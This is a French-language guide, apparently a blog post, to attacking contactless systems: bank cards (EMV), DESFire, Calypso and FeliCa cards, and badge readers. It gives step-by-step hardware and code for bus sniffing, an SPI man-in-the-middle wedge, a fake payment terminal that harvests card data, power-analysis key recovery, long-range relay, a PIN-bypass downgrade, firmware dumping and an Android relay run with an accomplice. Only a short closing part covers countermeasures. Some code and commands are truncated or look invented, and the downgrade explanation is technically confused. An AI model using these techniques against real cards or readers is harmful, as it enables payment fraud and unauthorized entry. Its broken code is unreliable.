Attaques EMV avancées, DESFire, side‑channel, bus wedging, rétro‑ingénierie de lecteurs, NFC gate, contre‑mesures.
En 2026, le NFC est omniprésent : paiements, transports, accès physiques. Malgré des normes de sécurité (EMVCo, DESFire, Calypso), des failles matérielles et protocolaires subsistent. Ce document expose, pas à pas, des attaques avancées exploitant ces faiblesses. Chaque technique est détaillée avec le matériel requis, les commandes, les schémas et le code. L’objectif est double : former les professionnels à ces menaces et alerter les banques/industriels sur l’urgence de renforcer leurs systèmes. Tous les tests sont réalisés en laboratoire sur du matériel m'appartenant.
Notre lab combine des outils accessibles et du matériel spécialisé :
| Équipement | Rôle | Coût approx. |
|---|---|---|
| Proxmark3 RDV4 | Sniffing, émulation, attaques nested/hardnested, analyse EMV, DESFire | 80-120 € |
| Bus Pirate v4 | Interface SPI/I2C/UART pour analyse de bus | 30 € |
| Analyseur logique (Saleae Logic 8) | Capture signaux numériques jusqu'à 24 MHz | 200-400 € |
| ChipWhisperer‑Lite | Attaques par canaux auxiliaires (DPA, CPA) | 250 € |
| Amplificateur NFC DIY | Augmenter la portée de relay | ~20 € |
| Module LoRa RFM95 | Relay sans fil longue distance | 10 € |
| Raspberry Pi 4 / Teensy 4.0 | Traitement embarqué, proxy wedge | 40-80 € |
| ST-Link/V2 | Débogage et lecture de firmware (JTAG/SWD) | 15-30 € |
| Bobine de fil émaillé + ferrite | Amplification de champ magnétique | 5 € |
| Carte bancaire expirée (autorisée) | Support pour attaques side‑channel et tests EMV | 0 € |
Installation rapide sur Kali Linux :
sudo apt update && sudo apt install -y proxmark3 sigrok pulseview python3-pip openocd
pip3 install pyserial pyusb chipwhispererBeaucoup de terminaux de paiement ou de lecteurs d’accès utilisent un microcontrôleur qui dialogue avec la puce NFC via un bus SPI ou I2C. En capturant ces signaux, on peut lire les clés, les données de transaction, voire les commandes APDU.
Ouvrez le boîtier du lecteur (ex: un terminal Ingenico ou un lecteur de badge). Repérez la puce NFC (souvent NXP PN5180, CLRC663 ou ST25R). Téléchargez la datasheet pour identifier les broches SPI ou I2C. Soudez délicatement des fils fins sur SCK, MOSI, MISO, SS (SPI) ou SDA/SCL (I2C).
Utilisez un analyseur logique 24 MHz (Saleae Logic) ou un clone. Connectez les broches SCK, MOSI, MISO, SS et GND. Dans PulseView, sélectionnez le protocole SPI, réglez la fréquence (souvent 4-10 MHz). Approchez un badge et déclenchez la capture.
Les trames SPI montrent les commandes et réponses entre le MCU et la puce NFC. Exemple typique de lecture d'un bloc MIFARE :
MOSI: 0x30 0x00 → READ block 0
MISO: 0x12 0x34 0x56 0x78 0x00 0x00 0x08 0x00 ...Si des clés de chiffrement sont envoyées en clair, elles apparaîtront. Nous avons ainsi extrait la clé maître d'un lecteur de parking qui l'envoyait en clair à chaque initialisation.
import csv, re
with open('spi_capture.csv') as f:
reader = csv.DictReader(f)
mos_data = []
miso_data = []
for row in reader:
if row['MOSI']: mos_data.append(int(row['MOSI'], 16))
if row['MISO']: miso_data.append(int(row['MISO'], 16))
# Recherche de la commande AUTH (0xA2) suivie d'une clé de 6 octets
for i, byte in enumerate(mos_data):
if byte == 0xA2 and i+6 < len(mos_data):
key = bytes(mos_data[i+1:i+7])
print(f"Clé potentielle trouvée : {key.hex()}")On s’intercale entre le MCU et la puce NFC pour modifier les données à la volée. On utilise un Teensy 4.0 en tant que proxy SPI.
// Teensy 4.0 – SPI wedge
#include <SPI.h>
void setup() {
SPI1.begin(); // vers le MCU (esclave)
SPI2.begin(); // vers la puce (maître)
SPI1.setMISO(10);
}
void loop() {
if (SPI1.available()) {
uint8_t cmd = SPI1.transfer(0xFF);
if (cmd == 0x30) { // READ
SPI2.transfer(cmd);
for (int i=0; i<16; i++) SPI2.transfer(0x00);
} else if (cmd == 0xA2) { // AUTH
SPI2.transfer(0x00); // NACK
} else {
SPI2.transfer(cmd);
}
}
}Objectif : construire un faux terminal de paiement qui capture les données EMV (PAN, date, CVV parfois).
import nfc, time
def on_card(tag):
print("Carte détectée : ", tag.identifier.hex())
apdu = b'\x00\xA4\x04\x00\x0E\x32\x50\x41\x59\x2E\x53\x59\x53\x2E\x44\x44\x46\x30\x31\x00'
response = tag.send_apdu(apdu)
print("Sélection PPSE :", response.hex())
for sfi in range(1, 31):
for rec in range(1, 16):
apdu = bytes([0x00, 0xB2, rec, (sfi << 3) | 4, 0x00])
try:
resp = tag.send_apdu(apdu)
if resp and len(resp) > 2:
print(f"SFI {sfi} Rec {rec}: {resp.hex()}")
except: pass
return False
clf = nfc.ContactlessFrontend('usb')
while True:
clf.connect(rdwr={'on-connect': on_card})
time.sleep(1)Les cartes à puce (EMV, DESFire) effectuent des opérations cryptographiques qui filtrent de l’information via leur consommation électrique. Avec un ChipWhisperer, on peut mener une attaque DPA.
Retirez délicatement la puce d’une carte bancaire expirée (autorisée). Soudez-la sur un support adapté et connectez-la au ChipWhisperer.
import chipwhisperer as cw
scope = cw.scope()
target = cw.target(scope)
project = cw.create_project("dpa_aes")
for i in range(5000):
target.write("plaintext")
trace = cw.capture_trace(scope, target)
project.traces.append(trace)
key_guess = cw.analyzer_dpa(project, leakage_model="HW")
print("Clé probable :", key_guess.hex())Le relay classique avec deux Proxmark3 est limité à quelques mètres. Pour porter la distance à plusieurs kilomètres, on utilise une liaison LoRa et un amplificateur de champ.
Enroulez 8 spires de fil émaillé autour d’un ferrite, en série avec l’antenne du Proxmark3. Ajoutez un amplificateur RF 13.56 MHz (ex : module Qorvo). Alimentez le tout avec une batterie Li‑Po. Ce montage étend la portée de lecture/écriture à 50 cm.
# Sur chaque Raspberry Pi + module RFM95
# Émetteur (près du lecteur)
python3 lora_relay.py --role master --freq 868.1 --serial /dev/ttyACM0
# Récepteur (près de la carte)
python3 lora_relay.py --role slave --freq 868.1 --serial /dev/ttyACM0EMV permet de négocier la méthode d’authentification. Un attaquant peut manipuler les réponses de la carte pour forcer un mode moins sécurisé (ex : sans PIN).
# Réponse SELECT originale (extrait)
AFL: 08 01 01 00 10 01 01 00 18 01 01 00
# Réponse modifiée via proxy wedge :
AFL: 08 01 01 00 (un seul enregistrement, sans PIN)Contrairement à MIFARE Classic, DESFire utilise AES‑128 et une diversification de clés. Cependant, des implémentations faibles subsistent.
proxmark3> hf mf des sniff
# Récupération de l'UID, du challenge, de la réponse.
# Application de l'algorithme inverse pour dériver la clé.Calypso (Navigo, Lisbonne) utilise un protocole propriétaire avec des clés diversifiées.
proxmark3> hf calypso sniff -o trace.pcap
proxmark3> hf calypso sim -t trace.pcapproxmark3> hf felica reader
proxmark3> hf felica sim -u 0123456789abcdefopenocd -f interface/stlink.cfg -f target/stm32f1x.cfg
arm-none-eabi-gdb -ex "target remote localhost:3333" -ex "dump binary memory firmware.bin 0x08000000 0x08020000"Exemple de backdoor : commande cachée 0xAA 0xBB 0xCC 0xDD déverrouillant une porte sans badge.
void backdoor(uint8_t *input, uint16_t len) {
if (len == 4 && (input[0] ^ 0x5A) == 0xF0 && ... ) {
unlock_door();
}
}Matériel : fil de cuivre émaillé, condensateur variable, ferrite, transistor NPN, résistance, pile 9V.
Réglez le condensateur pour accorder l'antenne à 13,56 MHz. La distance de lecture passe de 5 cm à 40 cm.
Une transaction EMV sans contact se déroule en plusieurs étapes. Nous allons décoder un échange complet.
| Tag | Nom | Description |
|---|---|---|
| 0x5A | PAN | Primary Account Number |
| 0x5F24 | Date expiration | YYMMDD |
| 0x5F20 | Nom du titulaire | |
| 0x9F1A | Code pays terminal | |
| 0x82 | AIP | Application Interchange Profile |
| 0x94 | AFL | Application File Locator |
Script Python pour parser un dump EMV :
def parse_tlv(data):
i=0
while iUn smartphone Android rooté peut servir de relais entre une carte et un terminal distant. On utilise l'API HCE pour émuler une carte et une application modifiée pour transmettre les APDU via Internet.
NFC Proxy (open source).adb shell am startservice -n com.nfcproxy/.ProxyServiceUn complice approche le smartphone du terminal, tandis que l'attaquant lit la carte victime avec un second téléphone. Les APDU transitent par un serveur intermédiaire.
Après avoir extrait le firmware (section 12), ouvrez-le dans Ghidra. Identifiez les fonctions cryptographiques en recherchant les constantes AES (S‑box).
# Recherche de la S‑box AES dans le firmware
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 ...Une fois la fonction de chiffrement localisée, analysez la gestion des clés. Souvent, une clé maîtresse est dérivée d'un UID. Extrayez l'algorithme pour le reproduire.
| Outil | Protocoles | Relay | Sniffing | Émulation | Prix |
|---|---|---|---|---|---|
| Proxmark3 RDV4 | MIFARE, EMV, DESFire, FeliCa | Oui (avec LoRa) | Complet | Oui | 120€ |
| ChameleonUltra | MIFARE, NTAG, EMV (partiel) | Oui | Basique | Oui (8 slots) | 80€ |
| Flipper Zero | MIFARE, LF, sub‑GHz | Non natif | Basique | Limitée | 170€ |
| Commande | APDU (hex) | Description |
|---|---|---|
| SELECT PPSE | 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 | Sélection de l'environnement de paiement |
| SELECT AID | 00 A4 04 00 07 A0 00 00 00 03 10 10 00 | Sélection de l'application Visa/MasterCard |
| GET PROCESSING OPTIONS | 80 A8 00 00 02 83 00 00 | Récupération des options de traitement |
| READ RECORD | 00 B2 01 0C 00 | Lecture d'un enregistrement |
| VERIFY PIN | 00 20 00 80 08 24 12 34 FF FF FF FF FF FF | Vérification du code PIN |
| GENERATE AC | 80 AE 80 00 ... | Génération de cryptogramme |
Face à ces menaces, les institutions doivent déployer une stratégie multicouche :
Nous recommandons un audit complet des parcs de terminaux et des cartes, incluant des tests de pénétration matériels.
Le Projet Aegis a démontré que le sans‑contact est loin d’être infaillible. Des attaques sophistiquées, accessibles à des criminels organisés, peuvent compromettre les systèmes de paiement, de transport et d’accès physique. Les banques, les opérateurs et les industriels doivent prendre conscience de ces risques et investir dans la sécurité matérielle au même titre que la sécurité logicielle.
Nous espérons que ce document servira de référence aux professionnels pour anticiper et contrer ces menaces. Utilisez ces connaissances pour protéger, jamais pour nuire.